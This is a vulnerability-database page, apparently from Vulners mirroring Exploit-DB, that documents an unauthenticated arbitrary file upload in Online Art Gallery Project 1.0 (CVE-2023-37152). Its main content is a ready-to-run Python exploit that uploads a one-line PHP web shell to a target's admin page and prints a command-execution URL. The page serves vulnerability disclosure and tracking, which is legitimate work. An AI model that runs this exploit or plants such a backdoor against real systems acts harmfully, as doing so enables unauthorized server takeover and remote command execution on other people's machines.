Lucene search
+L

Online Art gallery project 1.0 - Unauthenticated Arbitrary File Upload

🗓️ 15 Jun 2023 00:00:00Reported by Ramil MustafayevType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 305 Views

Online Art Gallery Project 1.0 Arbitrary File Upload (Unauthenticated) vulnerability in Admin functionalit

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2023-37152
10 Jul 202316:15
–attackerkb
cnnvd
CNNVD
Projectworlds Online Art Gallery Project: Code Issues and Vulnerabilities
10 Jul 202300:00
–cnnvd
cve
CVE
CVE-2023-37152
10 Jul 202300:00
–cve
cvelist
Cvelist
CVE-2023-37152
10 Jul 202300:00
–cvelist
euvd
EUVD
EUVD-2023-41072
3 Oct 202520:07
–euvd
nvd
NVD
CVE-2023-37152
10 Jul 202316:15
–nvd
osv_cve
osv_cve
CVE-2023-37152
10 Jul 202316:15
–osv_cve
prion
Prion
Code injection
10 Jul 202316:15
–prion
ptsecurity
Positive Technologies
PT-2023-25810 · Unknown · Projectworlds Online Art Gallery Project
10 Jul 202300:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2023-37152: Unrestricted Upload of File with Dangerous Type
10 Jul 202300:00
–rapid7
Rows per page
# Exploit Title: Online Art gallery project 1.0 - Arbitrary File Upload (Unauthenticated)
# Google Dork: n/a
# Date: 14/06/2023
# Exploit Author: Ramil Mustafayev
# Vendor Homepage: https://github.com/projectworldsofficial
# Software Link: https://github.com/projectworlds32/Art-Gallary-php/archive/master.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP for Windows 8.0.28 / PHP 8.0.28
# CVE : n/a

# Vulnerability Description:
#
# Online Art Gallery Project 1.0 allows unauthenticated users to perform arbitrary file uploads via the adminHome.php page. Due to the absence of an authentication mechanism and inadequate file validation, attackers can upload malicious files, potentially leading to remote code execution and unauthorized access to the server.
# Usage: python exploit.py http://example.com

import requests
import sys

def upload_file(url, filename, file_content):
    files = {
        'sliderpic': (filename, file_content, 'application/octet-stream')
    }

    data = {
        'img_id': '',
        'sliderPicSubmit': ''
    }
    url = url+"/Admin/adminHome.php"
    try:
        response = requests.post(url, files=files, data=data)
    except:
        print("[!] Exploit failed!")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python exploit.py <target_url>")
        sys.exit(1)

    target_url = sys.argv[1]
    file_name = "simple-backdoor.php"
    file_content = '<?php system($_GET["c"]);?>'

    upload_file(target_url, file_name, file_content)
    print("[+] The simple-backdoor has been uploaded.\n Check following URL: "+target_url+"/images/Slider"+file_name+"?c=whoami")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.19.8
EPSS0.09801
305